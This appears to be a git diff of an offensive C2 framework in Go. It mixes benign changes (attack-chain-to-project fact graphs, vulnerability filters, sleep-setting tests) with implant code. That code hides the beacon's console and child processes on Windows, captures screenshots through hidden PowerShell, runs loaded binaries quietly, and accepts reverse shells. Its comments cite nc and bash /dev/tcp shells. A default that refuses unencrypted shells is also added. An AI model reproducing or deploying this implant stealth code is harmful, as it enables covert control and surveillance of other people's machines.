InputSchema: map[string]interface{}{ InputSchema: map[string]interface{}{
"type": "object", "type": "object",
@@ -540,6 +566,9 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
} }
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names)) return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
} }
if err := c2.ValidateOnelinerForListener(listener, kind); err != nil {
return makeC2Result(nil, err)
}
input := c2.OnelinerInput{ input := c2.OnelinerInput{
Kind: kind, Kind: kind,
Host: host, Host: host,
+53
View File
@@ -89,6 +89,28 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
"type": "string", "type": "string",
"description": "可选:关联的漏洞记录 ID", "description": "可选:关联的漏洞记录 ID",
}, },
"links": map[string]interface{}{
"type": "array",
"description": "可选:关系边(from → 当前 fact)。finding 至少 1 条 {from:target/*, type:discovered_on}finding 上记录 exploit 用 {from:exploit/*, type:exploits}。省略保留已有边;传 [] 清空全部关系边。",
"items": map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"from": map[string]interface{}{
"type": "string",
"description": "来源 fact_key:存储为 from → 当前 fact",
},
"type": map[string]interface{}{
"type": "string",
"description": "depends_on | leads_to | enables | exploits | discovered_on | contains | part_of | supports",
},
"confidence": map[string]interface{}{
"type": "string",
"description": "confirmed | tentative | deprecated",
},
},
"required": []string{"from", "type"},
},
},
}, },
"required": []string{"fact_key", "summary"}, "required": []string{"fact_key", "summary"},
}, },
@@ -124,7 +146,26 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
if err != nil { if err != nil {
return textResult("错误: "+err.Error(), true), nil return textResult("错误: "+err.Error(), true), nil
} }
if _, hasLinks := args["links"]; hasLinks {
linkInputs, err := project.ParseFactLinkInputs(args["links"])
if err != nil {
return textResult("错误: "+err.Error(), true), nil
}
convID := agent.ConversationIDFromContext(ctx)
if err := project.PersistFactLinksFromParsed(db, projectID, created.FactKey, convID, linkInputs, true); err != nil {
return textResult("错误: 保存关系边失败: "+err.Error(), true), nil
}
created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
} else if parsed := project.ParseLinksFromBody(created.Body); len(parsed) > 0 {
if err := project.PersistFactIncomingLinks(db, projectID, created.FactKey, parsed, true); err != nil {
return textResult("错误: 从 body 解析边失败: "+err.Error(), true), nil
}
created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
}
msg := fmt.Sprintf("事实已保存。\nfact_key: %s\nid: %s\nconfidence: %s", created.FactKey, created.ID, created.Confidence) msg := fmt.Sprintf("事实已保存。\nfact_key: %s\nid: %s\nconfidence: %s", created.FactKey, created.ID, created.Confidence)
if in, _ := db.ListIncomingProjectFactEdges(projectID, created.FactKey); len(in) > 0 {
msg += "\n关系边: " + project.FormatFactLinksText(in)
}
if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" { if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
msg += warn msg += warn
} }
@@ -164,6 +205,18 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
if f.SourceConversationID != "" { if f.SourceConversationID != "" {
msg += fmt.Sprintf("\nsource_conversation_id: %s", f.SourceConversationID) msg += fmt.Sprintf("\nsource_conversation_id: %s", f.SourceConversationID)
} }
if in, _ := db.ListIncomingProjectFactEdges(projectID, f.FactKey); len(in) > 0 {
msg += "\n关系边(from → 本 fact:\n"
for _, e := range in {
msg += fmt.Sprintf("- %s ← %s (%s)\n", e.EdgeType, e.SourceFactKey, e.Confidence)
}
}
if out, _ := db.ListOutgoingProjectFactEdges(projectID, f.FactKey); len(out) > 0 {
msg += "指向其他事实:\n"
for _, e := range out {
msg += fmt.Sprintf("- %s → %s (%s)\n", e.EdgeType, e.TargetFactKey, e.Confidence)
}
}
msg += "\n\n--- body ---\n" + f.Body msg += "\n\n--- body ---\n" + f.Body
if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" { if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
msg += warn msg += warn
+2 -2
View File
@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
}, },
"status": map[string]interface{}{ "status": map[string]interface{}{
"type": "string", "type": "string",
"description": "按状态筛选:open、confirmed、fixed、false_positive", "description": "按状态筛选:open、confirmed、fixed、false_positive、ignored",
"enum": []string{"open", "confirmed", "fixed", "false_positive"}, "enum": []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
}, },
"q": map[string]interface{}{ "q": map[string]interface{}{
"type": "string", "type": "string",
+203
View File
@@ -0,0 +1,203 @@
package attackchain
import (
"fmt"
"regexp"
"strings"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/project"
"github.com/google/uuid"
)
var promoteSlugSanitizer = regexp.MustCompile(`[^a-z0-9._/-]+`)
// PromoteToProjectResult 攻击链沉淀结果。
type PromoteToProjectResult struct {
FactsCreated int `json:"facts_created"`
FactsUpdated int `json:"facts_updated"`
EdgesCreated int `json:"edges_created"`
FactKeys []string `json:"fact_keys"`
Graph *database.ProjectFactGraph `json:"graph,omitempty"`
}
// PromoteToProject 将对话攻击链沉淀为项目事实与边。
func PromoteToProject(db *database.DB, projectID, conversationID string) (*PromoteToProjectResult, error) {
if db == nil {
return nil, fmt.Errorf("database 未初始化")
}
projectID = strings.TrimSpace(projectID)
conversationID = strings.TrimSpace(conversationID)
if projectID == "" || conversationID == "" {
return nil, fmt.Errorf("project_id 与 conversation_id 必填")
}
if _, err := db.GetProject(projectID); err != nil {
return nil, fmt.Errorf("项目不存在")
}
conv, err := db.GetConversation(conversationID)
if err != nil {
return nil, fmt.Errorf("对话不存在")
}
if pid := strings.TrimSpace(conv.ProjectID); pid != "" && pid != projectID {
return nil, fmt.Errorf("对话已绑定其他项目")
}
nodes, err := db.LoadAttackChainNodes(conversationID)
if err != nil {
return nil, err
}
edges, err := db.LoadAttackChainEdges(conversationID)
if err != nil {
return nil, err
}
if len(nodes) == 0 {
return nil, fmt.Errorf("该对话尚无攻击链,请先在对话中生成攻击链")
}
res := &PromoteToProjectResult{}
nodeToKey := make(map[string]string, len(nodes))
usedKeys := map[string]int{}
for _, node := range nodes {
key := allocatePromoteFactKey(node, usedKeys)
nodeToKey[node.ID] = key
category := mapPromoteNodeCategory(node.Type)
existing, getErr := db.GetProjectFactByKey(projectID, key)
f := &database.ProjectFact{
ProjectID: projectID,
FactKey: key,
Category: category,
Summary: strings.TrimSpace(node.Label),
Body: formatPromotedFactBody(node, conversationID),
Confidence: "tentative",
SourceConversationID: conversationID,
}
if getErr == nil && existing != nil {
f.ID = existing.ID
f.CreatedAt = existing.CreatedAt
if strings.TrimSpace(f.Summary) == "" {
f.Summary = existing.Summary
}
if _, err := db.UpsertProjectFact(f); err != nil {
return nil, err
}
res.FactsUpdated++
} else {
if _, err := db.UpsertProjectFact(f); err != nil {
return nil, err
}
res.FactsCreated++
}
res.FactKeys = append(res.FactKeys, key)
}
for _, edge := range edges {
srcKey, ok1 := nodeToKey[edge.Source]
tgtKey, ok2 := nodeToKey[edge.Target]
if !ok1 || !ok2 || srcKey == tgtKey {
continue
}
edgeType := mapPromoteEdgeType(edge.Type)
incoming, _ := db.ListIncomingProjectFactEdges(projectID, tgtKey)
merged := project.MergeLinkFromInputsUnique(promoteFromEdgeInputsFromDB(incoming), []database.ProjectFactEdgeFromInput{{From: srcKey, Type: edgeType}})
if err := db.ReplaceIncomingProjectFactEdges(projectID, tgtKey, merged); err != nil {
return nil, err
}
res.EdgesCreated++
if fact, err := db.GetProjectFactByKey(projectID, tgtKey); err == nil {
in, _ := db.ListIncomingProjectFactEdges(projectID, tgtKey)
fact.Body = project.SyncBodyLinksSection(fact.Body, in)
_, _ = db.UpsertProjectFact(fact)
}
}
graph, _ := project.BuildProjectFactGraph(db, projectID, "full", true)
res.Graph = graph
return res, nil
}
func promoteFromEdgeInputsFromDB(edges []*database.ProjectFactEdge) []database.ProjectFactEdgeFromInput {
out := make([]database.ProjectFactEdgeFromInput, 0, len(edges))
for _, e := range edges {
out = append(out, database.ProjectFactEdgeFromInput{From: e.SourceFactKey, Type: e.EdgeType, Confidence: e.Confidence})
}
return out
}
func mapPromoteNodeCategory(nodeType string) string {
switch strings.ToLower(strings.TrimSpace(nodeType)) {
case "target":
return project.FactCategoryTarget
case "vulnerability":
return project.FactCategoryFinding
case "action":
return project.FactCategoryChain
default:
return project.FactCategoryNote
}
}
func mapPromoteEdgeType(t string) string {
switch strings.ToLower(strings.TrimSpace(t)) {
case "discovers", "discovered_on", "targets":
return "discovered_on"
case "exploits":
return "exploits"
case "enables":
return "enables"
case "depends_on":
return "depends_on"
default:
return "leads_to"
}
}
func allocatePromoteFactKey(node Node, used map[string]int) string {
prefix := "chain/"
switch strings.ToLower(strings.TrimSpace(node.Type)) {
case "target":
prefix = "target/"
case "vulnerability":
prefix = "finding/"
case "action":
prefix = "chain/"
}
base := promoteSlugify(node.Label)
if base == "" {
base = promoteSlugify(node.ID)
}
if base == "" {
base = uuid.New().String()[:8]
}
key := prefix + base
if n, ok := used[key]; ok {
n++
used[key] = n
key = fmt.Sprintf("%s-%d", key, n)
} else {
used[key] = 1
}
return key
}
func promoteSlugify(s string) string {
s = strings.ToLower(strings.TrimSpace(s))
s = strings.NewReplacer(" ", "-", "—", "-", "", "-", "/", "-").Replace(s)
s = promoteSlugSanitizer.ReplaceAllString(s, "-")
s = strings.Trim(s, "-")
if len(s) > 64 {
s = s[:64]
}
return s
}
func formatPromotedFactBody(node Node, conversationID string) string {
var b strings.Builder
b.WriteString("## 来源\n")
b.WriteString(fmt.Sprintf("- 对话攻击链沉淀\n- source_conversation_id: %s\n- node_id: %s\n- node_type: %s\n\n", conversationID, node.ID, node.Type))
b.WriteString("## 摘要\n")
b.WriteString(strings.TrimSpace(node.Label))
b.WriteString("\n\n## 关联\n- 结构化关系边(自动同步):\n (见项目攻击路径图)\n")
return b.String()
}
+18 -9
View File
@@ -20,10 +20,9 @@ import (
) )
// TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。 // TCPReverseListener 监听 TCP 端口,等待目标机反弹连接。
// 经典模式:纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容 // 默认仅接受加密 TCP Beacon:连接后先发送魔数 CSB1,再经 AES-GCM 解密且校验 ImplantToken 后才登记会话
// 二进制 Beacon:连接后先发送魔数 CSB1,随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义(成帧见 tcp_beacon_server.go // 可选经典模式(config.allow_legacy_shell=true):纯交互式 raw shell,与 nc / bash -i >& /dev/tcp 兼容,无鉴权,仅建议内网实验
// 每个新连接自动生成一个 implant_uuid(基于远端地址 + 启动时间 hash),登记为 c2_session // 任务派发(经典模式):同步 exec —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
// 任务派发:使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出(带结束标记)。
type TCPReverseListener struct { type TCPReverseListener struct {
rec *database.C2Listener rec *database.C2Listener
cfg *ListenerConfig cfg *ListenerConfig
@@ -122,12 +121,14 @@ func (l *TCPReverseListener) acceptLoop() {
} }
} }
// handleConn 一个连接=一个会话:先识别二进制 TCP Beacon(魔数 CSB1),否则走经典交互式 shell。 // handleConn 先识别加密 TCP Beacon(魔数 CSB1 + AES-GCM + Token);未通过则按配置拒绝或走经典 shell。
func (l *TCPReverseListener) handleConn(conn net.Conn) { func (l *TCPReverseListener) handleConn(conn net.Conn) {
br := bufio.NewReader(conn) br := bufio.NewReader(conn)
_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second)) remote := conn.RemoteAddr().String()
prefix, err := br.Peek(4)
if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic { _ = conn.SetReadDeadline(time.Now().Add(tcpBeaconPeekTimeout))
prefix, peekErr := br.Peek(4)
if peekErr == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
if _, err := br.Discard(4); err != nil { if _, err := br.Discard(4); err != nil {
_ = conn.Close() _ = conn.Close()
return return
@@ -136,14 +137,22 @@ func (l *TCPReverseListener) handleConn(conn net.Conn) {
l.handleTCPBeaconSession(conn, br) l.handleTCPBeaconSession(conn, br)
return return
} }
if !l.cfg.AllowLegacyShell {
l.logger.Debug("tcp_reverse 拒绝未加密连接", zap.String("remote", remote))
_ = conn.Close()
return
}
_ = conn.SetReadDeadline(time.Time{}) _ = conn.SetReadDeadline(time.Time{})
l.handleShellConn(conn, br) l.handleShellConn(conn, br)
} }
// handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容)。 // handleShellConn 经典裸 TCP 反弹 shell(与 nc/bash /dev/tcp 兼容);需监听器显式开启 allow_legacy_shell
func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) { func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
remote := conn.RemoteAddr().String() remote := conn.RemoteAddr().String()
host, _, _ := net.SplitHostPort(remote) host, _, _ := net.SplitHostPort(remote)
// 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话 // 用 listener+remote_ip 生成稳定 implant_uuid,使同一来源的重连复用同一会话
uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host) uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
hash := sha256.Sum256([]byte(uuidSeed)) hash := sha256.Sum256([]byte(uuidSeed))
+41 -1
View File
@@ -381,8 +381,10 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
Metadata: req.Metadata, Metadata: req.Metadata,
} }
if existing != nil { if existing != nil {
// 保留原 ID/FirstSeenAt/Note,避免被覆盖 // 保留原 ID/FirstSeenAt/Note 与操作员设置的 sleep/jitter,避免被 beacon 心跳上报覆盖
session.FirstSeenAt = existing.FirstSeenAt session.FirstSeenAt = existing.FirstSeenAt
session.SleepSeconds = existing.SleepSeconds
session.JitterPercent = existing.JitterPercent
if session.Note == "" { if session.Note == "" {
session.Note = existing.Note session.Note = existing.Note
} }
@@ -413,6 +415,44 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
return session, nil return session, nil
} }
// SetSessionSleep 更新会话期望的心跳间隔,并向植入体下发 sleep 任务以尽快生效。
func (m *Manager) SetSessionSleep(sessionID string, sleepSeconds, jitterPercent int) (*database.C2Task, error) {
if strings.TrimSpace(sessionID) == "" {
return nil, ErrInvalidInput
}
if sleepSeconds < 1 {
sleepSeconds = 1
}
if jitterPercent < 0 {
jitterPercent = 0
}
if jitterPercent > 100 {
jitterPercent = 100
}
if err := m.db.SetC2SessionSleep(sessionID, sleepSeconds, jitterPercent); err != nil {
return nil, err
}
task, err := m.EnqueueTask(EnqueueTaskInput{
SessionID: sessionID,
TaskType: TaskTypeSleep,
Payload: map[string]interface{}{
"seconds": sleepSeconds,
"jitter": jitterPercent,
},
Source: "manual",
})
if err != nil {
m.logger.Warn("sleep 任务入队失败", zap.Error(err), zap.String("session_id", sessionID))
}
m.publishEvent("info", "session", sessionID, "",
fmt.Sprintf("Sleep 已更新: %ds (抖动 %d%%)", sleepSeconds, jitterPercent),
map[string]interface{}{
"sleep_seconds": sleepSeconds,
"jitter_percent": jitterPercent,
})
return task, nil
}
// MarkSessionDead 心跳超时检测器调用:标记会话为 dead // MarkSessionDead 心跳超时检测器调用:标记会话为 dead
func (m *Manager) MarkSessionDead(sessionID string) error { func (m *Manager) MarkSessionDead(sessionID string) error {
if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil { if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {
+118
View File
@@ -0,0 +1,118 @@
package c2
import (
"path/filepath"
"testing"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
func TestIngestCheckIn_PreservesOperatorSleepOnHeartbeat(t *testing.T) {
tmp := t.TempDir()
db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = db.Close() })
mgr := NewManager(db, zap.NewNop(), tmp)
ln, err := mgr.CreateListener(CreateListenerInput{
Name: "t",
Type: string(ListenerTypeHTTPBeacon),
BindHost: "127.0.0.1",
BindPort: 18080,
})
if err != nil {
t.Fatal(err)
}
first, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
ImplantUUID: "implant-uuid-1",
Hostname: "host1",
Username: "user",
OS: "darwin",
Arch: "amd64",
SleepSeconds: 5,
JitterPercent: 0,
})
if err != nil {
t.Fatal(err)
}
if err := db.SetC2SessionSleep(first.ID, 30, 20); err != nil {
t.Fatal(err)
}
second, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
ImplantUUID: "implant-uuid-1",
Hostname: "host1",
Username: "user",
OS: "darwin",
Arch: "amd64",
SleepSeconds: 5,
JitterPercent: 0,
})
if err != nil {
t.Fatal(err)
}
if second.SleepSeconds != 30 || second.JitterPercent != 20 {
t.Fatalf("expected sleep=30 jitter=20, got sleep=%d jitter=%d", second.SleepSeconds, second.JitterPercent)
}
stored, err := db.GetC2Session(first.ID)
if err != nil || stored == nil {
t.Fatal(err)
}
if stored.SleepSeconds != 30 || stored.JitterPercent != 20 {
t.Fatalf("db: expected sleep=30 jitter=20, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
}
}
func TestSetSessionSleep_UpdatesDBAndEnqueuesTask(t *testing.T) {
tmp := t.TempDir()
db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = db.Close() })
mgr := NewManager(db, zap.NewNop(), tmp)
ln, err := mgr.CreateListener(CreateListenerInput{
Name: "t2",
Type: string(ListenerTypeHTTPBeacon),
BindHost: "127.0.0.1",
BindPort: 18081,
})
if err != nil {
t.Fatal(err)
}
sess, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
ImplantUUID: "implant-uuid-2",
Hostname: "host2",
Username: "user",
OS: "linux",
Arch: "amd64",
SleepSeconds: 5,
})
if err != nil {
t.Fatal(err)
}
task, err := mgr.SetSessionSleep(sess.ID, 15, 10)
if err != nil {
t.Fatal(err)
}
if task == nil || task.TaskType != string(TaskTypeSleep) {
t.Fatalf("expected sleep task, got %#v", task)
}
stored, err := db.GetC2Session(sess.ID)
if err != nil || stored == nil {
t.Fatal(err)
}
if stored.SleepSeconds != 15 || stored.JitterPercent != 10 {
t.Fatalf("expected sleep=15 jitter=10, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
}
}
+18 -5
View File
@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
} }
f.Close() f.Close()
// 平台相关辅助源文件(如无窗口子进程)
for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
helperData, readErr := os.ReadFile(helperSrc)
if readErr != nil {
return nil, fmt.Errorf("read helper %s: %w", name, readErr)
}
if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
}
}
// 交叉编译 // 交叉编译
binName := strings.TrimSpace(in.OutputName) binName := strings.TrimSpace(in.OutputName)
if binName == "" { if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
return nil, fmt.Errorf("mkdir output: %w", err) return nil, fmt.Errorf("mkdir output: %w", err)
} }
absSrcPath, err := filepath.Abs(srcPath)
if err != nil {
return nil, fmt.Errorf("abs source path: %w", err)
}
absBinPath, err := filepath.Abs(binPath) absBinPath, err := filepath.Abs(binPath)
if err != nil { if err != nil {
return nil, fmt.Errorf("abs output path: %w", err) return nil, fmt.Errorf("abs output path: %w", err)
} }
cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath) ldflags := "-s -w -buildid="
if goos == "windows" {
// 无控制台窗口运行 beacon 本体
ldflags += " -H windowsgui"
}
cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
cmd.Env = append(os.Environ(), cmd.Env = append(os.Environ(),
"GOOS="+goos, "GOOS="+goos,
"GOARCH="+goarch, "GOARCH="+goarch,
+20
View File
@@ -1,9 +1,12 @@
package c2 package c2
import ( import (
"encoding/json"
"fmt" "fmt"
"net/url" "net/url"
"strings" "strings"
"cyberstrike-ai/internal/database"
) )
// OnelinerKind 单行 payload 的语言/形式 // OnelinerKind 单行 payload 的语言/形式
@@ -79,6 +82,23 @@ type OnelinerInput struct {
ImplantToken string // HTTP Beacon 鉴权 token ImplantToken string // HTTP Beacon 鉴权 token
} }
// ValidateOnelinerForListener 校验 oneliner 与监听器配置是否匹配(如 tcp_reverse 默认要求加密 Beacon)。
func ValidateOnelinerForListener(listener *database.C2Listener, kind OnelinerKind) error {
if listener == nil {
return fmt.Errorf("listener is nil")
}
if ListenerType(listener.Type) == ListenerTypeTCPReverse && tcpOnelinerKinds[kind] {
cfg := &ListenerConfig{}
if strings.TrimSpace(listener.ConfigJSON) != "" {
_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
}
if !cfg.AllowLegacyShell {
return fmt.Errorf("监听器未开启 allow_legacy_shelltcp_reverse 默认仅接受 CSB1 加密 BeaconAES-GCM + Token);请用 build 生成 beacon,或显式开启 allow_legacy_shell(公网不推荐)")
}
}
return nil
}
// GenerateOneliner 生成单行 payload。 // GenerateOneliner 生成单行 payload。
// 设计要点: // 设计要点:
// - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等); // - 不依赖目标机预装的可执行(除该 oneliner 关键的 bash/python/perl 等);
+3 -1
View File
@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
timeoutSec = 60 timeoutSec = 60
} }
cmd := exec.Command(shellByOS(), shellFlag(), cmdStr) cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
prepareHiddenCmd(cmd)
cwdMu.Lock() cwdMu.Lock()
cmd.Dir = currentCwd cmd.Dir = currentCwd
cwdMu.Unlock() cwdMu.Unlock()
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30) b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
case "windows": case "windows":
ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())` ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30) b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
default: default:
return "", "", "", "screenshot not supported on " + runtime.GOOS return "", "", "", "screenshot not supported on " + runtime.GOOS
} }
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
cmdArgs = strings.Fields(args) cmdArgs = strings.Fields(args)
} }
cmd := exec.Command(tmpFile, cmdArgs...) cmd := exec.Command(tmpFile, cmdArgs...)
prepareHiddenCmd(cmd)
cwdMu.Lock() cwdMu.Lock()
cmd.Dir = currentCwd cmd.Dir = currentCwd
cwdMu.Unlock() cwdMu.Unlock()
@@ -0,0 +1,9 @@
//go:build !windows
package main
import "os/exec"
func prepareHiddenCmd(cmd *exec.Cmd) {
_ = cmd
}
@@ -0,0 +1,18 @@
//go:build windows
package main
import (
"os/exec"
"syscall"
)
// prepareHiddenCmd 避免子进程弹出控制台窗口(cmd / powershell / 临时 exe 等)。
func prepareHiddenCmd(cmd *exec.Cmd) {
if cmd == nil {
return
}
// 仅用 HideWindow:等价于 CREATE_NO_WINDOW,且 macOS/Linux 交叉编译 Windows 时
// syscall.CREATE_NO_WINDOW 常量不可用。
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
}
+3
View File
@@ -23,6 +23,9 @@ import (
// tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。 // tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节,用于与经典 shell 反弹区分。
const tcpBeaconMagic = "CSB1" const tcpBeaconMagic = "CSB1"
// tcpBeaconPeekTimeout 等待 CSB1 魔数的探测窗口;合法 Beacon 连接后立即发送魔数。
const tcpBeaconPeekTimeout = 2 * time.Second
// tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。 // tcpBeaconMaxFrame 单帧密文(base64 字符串)最大字节数,防止 OOM。
const tcpBeaconMaxFrame = 64 << 20 const tcpBeaconMaxFrame = 64 << 20
+2
View File
@@ -141,6 +141,8 @@ type ListenerConfig struct {
MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"` MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
// CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景 // CallbackHost 植入端/Payload 使用的回连主机名(可选);与 bind_host 分离,便于 NAT/ECS 等场景
CallbackHost string `json:"callback_host,omitempty"` CallbackHost string `json:"callback_host,omitempty"`
// AllowLegacyShell 为 true 时 tcp_reverse 允许未加密的经典 bash/nc 反弹 shell 登记会话(默认 false,公网部署强烈不建议开启)
AllowLegacyShell bool `json:"allow_legacy_shell,omitempty"`
} }
// ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值 // ApplyDefaults 对未填字段填默认值;调用方负责持久化时序列化新值
+12 -5
View File
@@ -45,6 +45,7 @@ type ProjectConfig struct {
Enabled bool `yaml:"enabled" json:"enabled"` Enabled bool `yaml:"enabled" json:"enabled"`
DefaultProjectID string `yaml:"default_project_id,omitempty" json:"default_project_id,omitempty"` // 机器人/批量等无显式项目时绑定的默认项目 DefaultProjectID string `yaml:"default_project_id,omitempty" json:"default_project_id,omitempty"` // 机器人/批量等无显式项目时绑定的默认项目
FactIndexMaxRunes int `yaml:"fact_index_max_runes,omitempty" json:"fact_index_max_runes,omitempty"` FactIndexMaxRunes int `yaml:"fact_index_max_runes,omitempty" json:"fact_index_max_runes,omitempty"`
FactIndexPathMaxRunes int `yaml:"fact_index_path_max_runes,omitempty" json:"fact_index_path_max_runes,omitempty"`
FactSummaryMaxRunes int `yaml:"fact_summary_max_runes,omitempty" json:"fact_summary_max_runes,omitempty"` FactSummaryMaxRunes int `yaml:"fact_summary_max_runes,omitempty" json:"fact_summary_max_runes,omitempty"`
DefaultInjectDeprecated bool `yaml:"default_inject_deprecated,omitempty" json:"default_inject_deprecated,omitempty"` DefaultInjectDeprecated bool `yaml:"default_inject_deprecated,omitempty" json:"default_inject_deprecated,omitempty"`
} }
@@ -57,6 +58,14 @@ func (c ProjectConfig) FactIndexMaxRunesEffective() int {
return c.FactIndexMaxRunes return c.FactIndexMaxRunes
} }
// FactIndexPathMaxRunesEffective 攻击路径速览段的最大 rune 数(从 fact_index_max_runes 预算中预留)。
func (c ProjectConfig) FactIndexPathMaxRunesEffective() int {
if c.FactIndexPathMaxRunes <= 0 {
return 1000
}
return c.FactIndexPathMaxRunes
}
// FactSummaryMaxRunesEffective upsert 时 summary 最大 rune 数(索引一行,宜含验证要点)。 // FactSummaryMaxRunesEffective upsert 时 summary 最大 rune 数(索引一行,宜含验证要点)。
func (c ProjectConfig) FactSummaryMaxRunesEffective() int { func (c ProjectConfig) FactSummaryMaxRunesEffective() int {
if c.FactSummaryMaxRunes <= 0 { if c.FactSummaryMaxRunes <= 0 {
@@ -231,7 +240,7 @@ type MultiAgentEinoMiddlewareConfig struct {
PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"` PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"`
// Reduction truncates/offloads large tool outputs (requires eino local backend for Write). // Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
ReductionEnable bool `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"` ReductionEnable bool `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
